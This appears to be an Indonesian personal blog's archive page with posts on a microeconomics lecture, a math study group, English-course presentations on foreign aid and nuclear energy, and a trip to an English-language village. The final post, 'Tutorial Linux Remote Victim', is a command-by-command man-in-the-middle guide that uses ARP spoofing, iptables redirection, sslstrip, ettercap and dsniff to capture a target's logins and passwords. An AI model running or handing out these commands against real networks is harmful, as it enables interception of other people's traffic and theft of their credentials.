Education for freedom 1

Read, Write, and Do Something

Education for freedom 2

Read, Write, and Do Something

Education for freedom 3

Read, Write, and Do Something

Education for freedom 4

Read, Write, and Do Something.

Education for freedom 5

Read, Write, and Do Something

18/12/2011

Teori Mikroekonomi- Adrenalin dan rayuan Iklan


Kamis 15 des 2011, adalah hari yang panjang, indah dan mengesankan,. Kuliah mikro. walau agak telat, namun semangat tetap menggebu mengikuti kuliah yang satu ini.
Mata kuliah yang unik karena suasana kelas "cool" dan pengajarnya yang unik, langka, aneh tapi nyata. keunikannya antara lain, selalu ada humor, ada ketegangan, selalu ada yang baru :)

Namun yang tidak kalah istimewanya adalah, karena kuliah ini benar2 memacu adrenalin.
ketegangan dalam interaksi belajar mengajar melebihi ketika menonton final tim kesayangan anda.
mungkin anda berpikir, pola mengajar dosen yang kolot dan mirip sistem belajar zaman kolonial.
Anda ditanya, jawabannya benar, syukur !. tapi jika jawaban anda melenceng dari frame jawaban yg semestinya maka bersiaplah menuai untaian kata-kata mutiara.
-asbun(asal bunyi), pa pau pau , common sense- bahkan ada kata2 puitis "otak kalian karatan".. hahaha....pengasuh mata kuliah mikro sebelumnya.

Model mengajar yang sedikit "nyentrik" hehe... .
Menurut dosen kami, .. otak kalian membeku, kurang diasah, jarang memperoleh nutrisi (jarang membaca), sehingga sesekali harus dibuat tegang. harus ada gesekan, konflik dan pertentangan-pertentangan.mendengar kata2 itu saya ingat kata Einsten dalam buku Kang Jalal "Belajar Cerdas".
"membaca bisa membuat awet muda, setiap kali otak kita memperoleh data baru maka akan terbentuk jaringan dendrit baru, dan jika otak sering digunakan (berpikir) maka jaringan-jaringan tersebut akan terkoneksi antara yg satu dengan yang lainnya".

Atau barangkali untuk skala yang lebih makro konflik, pertentangan-pertentangan adalah suatu kemestian. :P
Kuliah hari ini, benar2 komplit, selain mendapat teori dan contoh matematis tentang diskriminasi harga "pasar Monipoli", kami juga memperoleh nasehat-nasihat spiritual, nasihat pengembangan diri dan bla..bla...bla.....

Beberapa diantara nasihat tersebut adalah: Preferensi konsumen, iklan dan perempuan. Sudah bisa ditebak, bahwa bicara soal Konsumsi-Iklan seperti bicara tentang mata uang logam yang tidak bisa di pisahkan. MPC (marginal Propensity to Consume) atau hasrat mengkonsumsi / hasrat belanja harus yang harus di picu dengan iklan.

Lalu kenapa dengan perempuan, aha,.. ternyata yang paling banyak menjadi korban rayuan iklan adalah kelompok manusia yang satu ini, hal ini bukan berarti bahwa kelompoj mahluk lainnya tidak tergoda rayuan iklan. ingin lihat buktinya "cukuplah dengan bercermin".

Dosen kami itu, mencontohkan ketika menghadiri perjamuan, dimana hampir semua perempuan berpakain ala "Demi Moore ", istrinya berbisik dengan mesra " Pa, hanya kita yang berpakaian dinas dan sesederhana ini".

inilah ciri Ibu, bahwa Ibu adalah istri Dosen, yang harus tampil beda dengan sifat kesederhanaannya, punya pembeda tapi bukan berarti memisahkan diri dari pergaulan, ibu-ibu yang menor lengkap dengan aksesoris di tubuh__ kira2 demikian ceritanya di kelas. Akademisi mestinnya punya identitas/pembeda tapi bukan berarti berpisah.

Spirit kritisisme dan kesederhanaan inilah yang mestinya tetap menjadi ciri masyarakat akademik (perguruan tinggi), yang tidak berbicara dan berperilaku berdasarkan common sense (kesadaran massa) yang kadang menjadi lahan subur para "pengiklan" untuk menyedot uang konsumen secara perlahan halus namun pasti. Ungkapan tersebut mengajarkan kepada kami (khususnya pribadi), bahwa konsumen mestinya tetap kritis atas setiap "bujuk rayu iklan", rasionalitas harus tetap unggul atas imaji-imaji yang ditawarkan Iklan.

Kuliah hari ini diakhiri dengan humor, yang singkat padat dan bikin Ngakak,... benar-benar perfect dosen yang satu ini.
Humor dan guyonannya bisa merelaxkan kami, see you next week, seraya melambaikan tangan kepada kami !
Begini caritaku... @Ruang 106 UH Makassar, Kamis 15 Desember 2011.

16/06/2011

SALAM SIGMA DAN KEPAKAN SAYAP KUPU-KUPU

Dahulu kala, ketika masih MABA (mahasiswa Baru), satu hal yang paling berkesan bagiku adalah SIGMA (SUARA INTELEKTUAL GAYA MATEMATIKA). SIGMA adalah nama MADING (Majalah DINdinG) mahasiswa matematika. Nama dan isinya yaaa tergolong inteleklah. Di Mading tersebut bukan hanya memuat tentang rumus matematika yang kadang "membosankan" atau pembuktian rumus yang mengasikkan :-D, tidak hanya solusi, tapi disana ada juga kisah cinta ;-). Salah satu yang menarik adalah, tulisan tentang sejarah matematika. Tokoh-tokoh matematika dari yang yunani hingga arab.... SO, apa pentingnya NOTE ini di tulis di GROUP MATEMATIKA-UNM yang barangkali sudah tidak ngePOP bicara soal "Mading", Group yang hidup di era mutakhir perkembangan kapitalisme lanjut "masyarakat informasi" atau "masyarakat teknologis" ataupun "masyarakat Konsumtif".... whatever apapun namanya.Tapi ini bukan curhat sepeti SBY, bukan juga keluhan yang kadang memenuhi WALL F***book, yang berbagi sarapan-makan siang-nongkrong dimana-tidur dimana-bersama siapa, atau cerita sakit hati cewek/cowo' yang ditinggal oleh kekasihnya, atau jeritan hati pria/wanita yang cintanya tak kesampaian... atau dapat nilai ERROOR, ketemu hantu,. ... dan banyak lagi variabel2 lain yang sering nongkrong di WALL FB /Twitter kamu.
ini hanya sekedar say hello,,,, SALAM SIGMA....

Awal kisah dimulai ketika, seorang mahasiswa matematika (sebut saja namanya Fathir namanya (sepertinya bukan nama samaran) _kita belum berteman di FB hehe..) yang juga pengurus Himpunan periode 2011, menyampaikan niatannya untuk membuat kelompok studi "KRIPTOGRAPH", mmm apa pula ini,.. cari saja artinya di Om google, pasti berjibun :D. Spontan saja, ku respon positif maksud, dan diskusi lebih dekat tentang apa, kenapa dan bagaimana-bagaimana nantinya...., satu hal yang sempat kusarankan, jangan terjebak dengan rutinitas dan formalitas. Pokoe, "DO WHAT YOU WANNA DO, SAY WHAT YOU WANNA SAY" _lyric lagunya Mocca,. Jangan takut berbuat salah, karena salah satu ciri "ANAK MUDA" adalah kadang berbuat salah dan berani belajar dari kesalahan.--sok, sok bijak--:D.

Salah satu hal yang membuat mahasiswa maju-berkembang-mandiri, termasuk dinegara2 maju karena banyaknya kelompok studi independent. Niatan @Fathir ini mesti diapresiasi oleh siapapun yang hidup di kolong bumi "MATEMATIKA UNM", ini langkah awal, sekaligus langkah maju yang mungkin akan berefek pada perubahan dan pengembangan bahan ajar di matematika UNM. minimal, mencoba melihat dunia luar... maksudnya bukan mars... maksudnya pengembangan matematika dalam kaitannya dengan "REALITAS" atau "TERAPAN ke dunia nyata" kekinian. MIsalnya bagaimana penerapan matematika dalam ekonomi (EKONOMETRIKA), dalam hal ini bisa menghitung dan menganalisis tentang PDB (Produk DOMestik Bruto) yang belakangan hangat diperbincangkan, tentang ukuran-ukuran ataupun korelasional antara PDB dengan Tingkat kesejahteraan, atau relasi PDB dengan kemiskinan. Biar Ilmu matematika kita bisa sedikit terupdate....

Akhir-akhir ini, saya beserta teman2 diskusi di dunia maya dan nyata, sesekali sharing tentang "TEORI CHAOS" yang ternyata baru kukenal setelah tamat dari Matematika unm, bahwa itu adalah Teori yeng berasal dari MATEMATIKA/Fisika. Chaos, yang selama ini hanya ku ketahui ketika ikut teriak2 di Jalan (demonstrasi mahasiswa) dan bentrok dengan Polisi, yang salah kaprah tentang arti "CHAOS" sebenarnya, atau dari film "CHAOS" yang keren dan ulasan artikel Salah seorang Dosen Matematika ITB yang mengulas tentang "TEORI CHAOS", atau artikel lainnya, yang bercerita tentang "Fenomena Chaos dalam Goyangan Inul" .... asiiiek...,Dan teori chaos berkembang dengan pesat hingga penerapannya dalam ekonomi (ekuilibrum), Manajemen, hingga politik (bede'). Kata yang unik dan populer dalam teori ini adalah "KEPAKAN SAYAP KUPU-KUPU DI SUATU TEMPAT, beberapa waktu kemudian bisa menyebabkan badai dahsyat ditempat lain" .

Semoga, niatan @Fathir dan kawan-kawannya, bisa menjadi kepakan sayap kupu-kupu, yang dimasa yang akan datang, anak/adik/keluarga dll yang berniat belajar di matematika unm, sedikit bisa tertolong dan tidak gagap ketika bicara soal matematika dan penerapannya dibidang lain. dan SIGMA bisa menjadi salah satu media "katalis" atas setiap "kepakan sayap kupu-kupu" mahasiswa matematika.

Wallahu a'lam bissawab
Pernah DI posting d Group Matematika UNM.
Makassar, 15 Juni 2011
Alam Yien, alumnus matematika unm yang senang dengan "kepakan sayap kupu-kupu Lorenz :D"
alamyin@gmail.com | alamyin.wordpress.com

13/06/2011

Foreign aid and Trojan Horse

According to Sritua Arief, economic expert Gajah Mada University said, debt effects lost of economic independent our country. We can see, Indonesia pressed for economic Reform, structural adjusment program based on capitalism-neoliberalsm that is;

Govt intervention in market shTalking about “Economic Aid”, specially foreign aid. Director of Foreign Aid USA, Fohler Hamilton said, “every dollar gave to other must to pproduce something for interest USA”. This statement gave us 2 lessons. First, foreign aid is never free form goal. Second, Foreign aid is like a Trojan horse in greece story. No exception, aid from usa, australia, japan and other, all of the aim had hidden motive.

Implementation of political foreign USA by USAID, AusAID from Australia, JICA from Japan etc. Every foreign aid had mou. With Mou, they making networking, got some data about our country and making networking. Startegy networking had used by US govt. It called “big stick strategy”, “Dollar Diplomacy” and “Flexible Diplomacy”. So, “There is no such thing as a free lunch” to be true in this cases.
But, how we developed our country. If we have no fund.We have no much money to paid salary our employers. How to solve poverty problem in this country ?. Govt have no alternative choice, must to invited investor and increased deb from other country. Exactly, foreign aid passed by International World Fund. International Mother Fucker (IMF)...

I think we have options or other alternative, before our govt make decision using foreign aid or not, it is defend on readiness our country. But, we have to carefully using this way, because, foreign aid is like a Trojan horse. Some expert had given warning to government about “Danger of Debt”. Indeed, Soekarna have catcword “GO TO HELL WITH YOUR AID”.Could be eliminated.

1. Privatization public sphere
2. Liberalization of all economic activity and reduced subcidies.
3. Expand and accelerated foreign capital to Indonesia.

And now,we can see, so many economis institution, BUMN has privatized.
In social analysis, we knew that 3 element in our country that is, PEOPLE, GOVT, FUNDER (Foreigner/investor).
See picture 1

Reality had shown to us, that if govt pro investor or foreign then govt will betray society. Our Government is like a “sweet boy” in front of Foreign investor. So, different with Mahatir Muhammad has encouraged against IMF policy.

So, Foreign aid never succeded like in china and India.
As we knew, china has a best growth economic in the world. We can learn from them, how to build country with sovereign. China have two grand design to build country, that is economic strategy “FDI Foreign D Investor”, required local investror must manage capital. Second strategy, reducing corruption in Government institution and political party. Awhile India Goverment began to build their country with reducing corruption and support local investor.
So, we can build our country with sovereign and without betrayed our people, and stay smart to meet Trojan horse.

final test presentation @ Global-E course, pare June 2010. By zukozen.
note: Beberapa saran mr.Toto, Performance Ok, konten materi sudah ok, pronunciation mesti ditingkatkan, dan perlu mengurangi kata2 “fu*k” dalam presentasi misalnya IMF (International Mother Fucker), Go to Hell. 1 point lagi dapat excellence.

11/05/2011

NUCLEAR ENERGY FOR HUMANITY

Long time ago when US attack Japan, exactly Hirosima and Nagasaki, we think that nuclear is similar holocaust, slavery and war. But, that is not always true. Nuclear useful for developing our country. I realized, when I had read article, journal and research about nuclear energy. my view has changed.

Patrick Mocere (Founder of Greenpace) said, nuclear energy in only power source that does emit green houses gasses. Which can effectively replace fosil fuels to meet growing energy demand. Let us see more, the largest transmitter green houses gasses in the world is coal. Generate electricity by coal is cheap, but effect burning coal to the world generated approximately 9 billion ton Co2 / year. The other hand, coal burning power plant that causes acid rain, smog , respiratory disease, mercury contamination and the main contribution in the world green houses gasses .

How about the other renewable energy that is wind energy, solar energy and biomass energy. Jesse Ausebel at Rockfeller University, New York said that renewable energy is more destructive our environment than nuclear energy. Renewable does not meant GREEN, he said. He proved his statement in journal, the greater the electricity power generated, need so more land. Example At Canada needed area of 900.000 square km. With 680.000 billion liters water and then saved it in to 60 high dam.

Biomass energy is also very inefficient, to produced energy electricity which similar if used nuclear energy, Biomass energy needed area of 2500 squere kilometre. However wind energy needed smaller area than biomass, but it needed area approximately 770 square kilometre to produced energy equivalent of nuclear energy power with capacity of 1000 megawatt electric (Mwe). Jesse explained that 100 square metre windy area, such as apartement in manhattan, it just enough to met growing a half lamp but not enough to turn on computer, washing machine and TV.
As we knew, we read in media that today USA has there are 103 reactor nuclear which provide 20% electricity needed, approximately 80% local people agreed if government built reactor nuclear near from their home. Approximately 10 km from housing.

But, why USA and alliance banned Iran to built nuclear reactor for humanity ?. I thank that is not fair. They fear, Iran will build nuclear for war. It is meant threat for them. To describe this problem, let us saw, that in Africa sword used to kill million human. More than the victim who died at Hiroshima and Nagasaki was combined. But nobody harm, nobody prihibits using of sword, because it useful for developing country and absolutely for survive.

Smog; kabut asap | Coal ; batu bara | acid rain; hujan asam |Emit ; memancarkan
green houses gasses; efek rumah kaca |to meet growing ; memenuhi

NUCLEAR ENERGY FOR HUMANITY, Presented by zukozen @ Global-E course, pare Kediri 23th june 2010.

27/04/2011

Unforgetable moments, Kampung Inggris Pare Kediri.

Musim libur hampir tiba, dan sepertinya Kampung Inggris Pare Kediri Jawa Timur akan ramai di kunjungi para pendatang dari seantero Indonesia. Mereka berasal dari kota-kota besar hingga dari desa, dari berbagai etnis, profesi, jenjang pendidikan hingga tingkat pendapatan yang beragam. Ada yang datang mengisi waktu liburan sambil belajar bahasa inggris, adapula yang datang dengan tujuan untuk belajar bahasa hingga mahir, bahkan ada yang berniat tinggal di desa itu. J
Beberapa bulan yang lalu, zuko berkesempatan menginjakkan kaki di desa tersebut, targetnya mahir speaking dan bisa menaklukkan tes Toefl. Pundi-pundi tabungan siap dirogoh untuk perjalanan, biaya hidup dan biaya kursus selama di pare.

Perjalanan dimulai dari Bogor (Bontonompo Gowa Raya) ke bandara S. Hasanuddin ditemani kemenakan dan si Juve-blue. Sekitar jam 9.15 wita berangkat dengan “baling2 besi :D” Lion Air, beruntung hari itu dapat tiket murah Makassar- Surabaya dengan kisaran 350ribuan. Satu jam kemudian mendarat di bandara Juanda untuk pertama kalinya, hehe.. Sembari istirahat sejenak di terminal dan menghubungi kawan2 di ASSET (…) untuk menanyakan rute selanjutnya. Nah, dari bandara Juanda melanjutkan perjalanan ke Terminal Bungorasi dengan jasa travel. Oia, perjalanan ke Bungorasi bisa juga dengan bus, kisaran biaya transport baik dengan jasa travel/ bos sekitar 25-50 ribuan. Nah kurang dari satu jam akhirnya tiba di terminal bungorasi. Dari terminal inilah zuko melanjutkan perjalanan ke kampoeng pare dengan bus. Perjalanan cukup jauh, kira-kira 3 jam lebih dengan ongkos 30 ribu.

Dan akhirnya tiba di Pare, tanpa basa-basi Mas abang Becak mengantar ke secretariat ASSET, mabes anak-anak Sulawesi dan dijemput sama mr. Marmut sang presiden Asset, orang Sulawesi pertama yang saya temui di sana, thanks mr. marmut. Lega rasanya, seolah dikampung sendiri, ketemu dengan teman2 dari Sulawesi, ada Ichal (UH), Zul, mr. big Bombom J, Adhul (unm), Siraj, Afif, mr. bean, Darwis dan semua keluarga besar ASSET, khususnya yang bermukim di Mabes ASSET dan sekitarnya. Kalian adalah guru pertama saya. (Worship) (worship). Malam pertama nginap di Mabes ASSET, suasana asik, bina suasana para New-comer dengan warga Asset. ya.. biasalah tradisi asset, …. Jangan lupa “treat”. Dan sejak malam itu bisa akrab dengan beberapa warga, apalagi minggu depan “treat” new-comer main futsal. Mmmm dari sinilah, saya mulai kerasan di pare.
Esok hari, hunting brosur lembaga kursus plus informasi dari senior2 di ASSET akhirnya pilihanku jatuh pada beberapa lembaga kursus yang berkualitas dengan spesialisasinya masing-masing. Pilihan pertama Global-E ; mmm, ini tempat yang sangat pas untuk para pelajar yang mau mengasah kemampuan speakingnya, kedua, SMART ILC ; kalo yang ini, aseli pakarnya dibidang Grammar2an, eits.. walau tempatnya sangat sederhana, dan tradisinya yang unik (seperti tradisi traktiran dan makan bareng ala jamaah tablig), tapi kualitas pengajar dan alumninya tidak diragukan lagi, khususnya yang berkaitan dengan Grammar. Diposisi ketiga ACCESS, kalau yang ini lebih orientasi pada Academic, mmm disini ada Mr. Edhy salah satu punggawa ACCESS asal Makassar. Terakhir, saya memilih Excellence, lembaga kursus baru, lagi promo, dan akan menjadi besar jika tradisinya yang pro pendidikan murah tetap dijunjung.

Selain hal-hal indah, suasana menyenangkan selama belajar yang sangat berbeda dengan metode dan gaya belajar di sekolah. Hal yang indah2 juga terjadi di camp. Indah karena harus bangun subuh. Sholat subuh- program camp (game/debate) hingga pagi. Pagi ikuti program kursusan. Oia, pendaftaran kursusan 2 kali sebulan yaitu setiap 20 dan 25 setiap bulannya. Keindahan yang lain, karena bisa bergaul dan sharing cerita dengan teman-teman dari daerah lain.
Selama tiga hari di ASSET hingga sehari menjelang kursus di mulai masuk camp baru “Struggle camp”, tempatnya strategis, ditambah lagi dapat sinya Wifi dari tetangga (maksudnya; Lembaga kursus yang suasananya seperti kampus, Mahesa namanya). Nah disinilah ketemu teman sekamar Zae (unpad), mr. Hadi (Kaltim), andy (Ugm) dan beberapa bonek, salam Struggle.

Secara umum, selain biaya hidup, biaya kursus yang relative murah kisaran 75-150 / 2 minggu atau bulanan. Bagi saya, yang sangat menarik adalah suasana belajarnya. Enjoy, dan Gokil khususnya di SMART, saat belajar, siswa bisa makan, minum, merokok asal tidak mengganggu peserta yang lain, dan membersihkan sampahnya sendiri, dengan satu syarat, siswa harus bisa menjawab soal ketika ditanya oleh tutor. Lain lagi di Global-E, disana ada mr. Toto (Director) yang sangat cerdas dalam mengelola suasana belajar dan pilihan-pilihan topik diskusi yang hangat, up to date dan kadang kontroversial. Misalnya tema-tema politik, pendidikan, ekonomi, hobby, hingga nuklir, pokoe seru. Yang mau mengasah kemampuan speaking dan debat plus meningkatkan wawasan disinilah tempatnya. Bravo Global-E. dan masih banyak lagi momen-momen indah di pare. Paling asik kalo hari sabtu-minggu, ikut acara ASSET, naik sepeda bareng ke tempat-tempat keramat.. upss salah. Tempat2 bersejarah.

Semoga, suatu saat nanti, masih diberi kesempatan OlehNYA untuk bisa berjibaku lagi dengan suasana di desa tulongRejo dan sekitarnya. Long life Indonesai, long life pare, long life “pendidikan murah berkualitas”.

25/02/2011

Tutorial Linux "Remote Victim"

Running sslstrip
* Flip your machine into forwarding mode.(echo "1" > /proc/sys/net/ipv4/ip_forward)
* Setup iptables to redirect HTTP traffic to sslstrip. (iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port )
http://l0t3k.org/security/tools/loganalysis/
* Run sslstrip. (sslstrip.py -l )
* Run arpspoof (arpspoof -i -t )
* G;Gateway , V;Victim (target)
WARN ! before running Arpspoof, start #fragrouter -B1, ip forwading

=========ettercap,arpspoof,sslstrip=================================================
Setup iptables (Linux) to intercept HTTP requests (as root):nano /etc/etter.conf
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port #8080
1# set ip-forward
2# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT to-port 1000
3# arpspoof -i wlan0 -t ipGW ipVc
4# pyton sslstrip.py -l 1000 (new-termnal)
5# ettercap -Tq -i wlan0 (new-termnal) ...waiting login your target...

Just specify a log file in sslstrip and use the post command.
sslstrip -p -k -w /home/user/ssl.log
~/Desktop/sslstrip-0.2/sslstrip.log
_____________________________________________________________________________________
====================================ettercap=========================================
edited /etc/etter.conf
remote-browser = "firefox -remote openurl (http://%host%url)"
To start the attack:
# set IP_Forward
# iptables -t nat -A PREROUTING -wlan0 -p tcp --dport 80 -j REDIRECT to-port 8080 [2]
# ettercap -i wlan0 -TqM ARP:REMOTE /victim/ /GW/ [3]
# hit -h- aktifkan PLUGIN REMOTE BROWSER ....binggo..
or
# ettercap -T -Q -M arp:remote -i eth1 /client-ip/ // -P remote_browser

OPtions
[2]# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT to-port 1000
[3]# ettercap -Tq -i wlan0 -M arp:remote,oneway /victim/ //
______________________________________________________________________________________
======================dsniff==========================================================
Run sslstrip with the command-line options you'd like.
python sslstrip.py -k -p -l

exp: arpspoof -i interface gateway(arpspoof -i wlan0 10.1.1.1)

T1 arpspoof -i wlan0 -t [G] [V] &
T2 arpspoof -i wlan0 -t [V] [G] &
T3 fragrouter -B1 (normal ip forwading)

$ dsniff -i wlan0 -w output.txt
$ mailsnarf -i wlan0
$ dsniff -i wlan0 -md
$ dsniff -i wlan0 -n -c
==================================================================================
arpspoof -t G V & >/dev/null
arpspoof -t V G & >/dev/null
#The "& >/dev/nul" part is there to make it easier to run from one terminal
RUN $ dsniff
As Dsniff finds passwords and usernames it will print them to the screen. To look at all sorts of other traffic I would recommend TCPDump or Wireshark.
__________________________________________________________________________________
and all process with # killall arpspoof

Dari berbagai sumber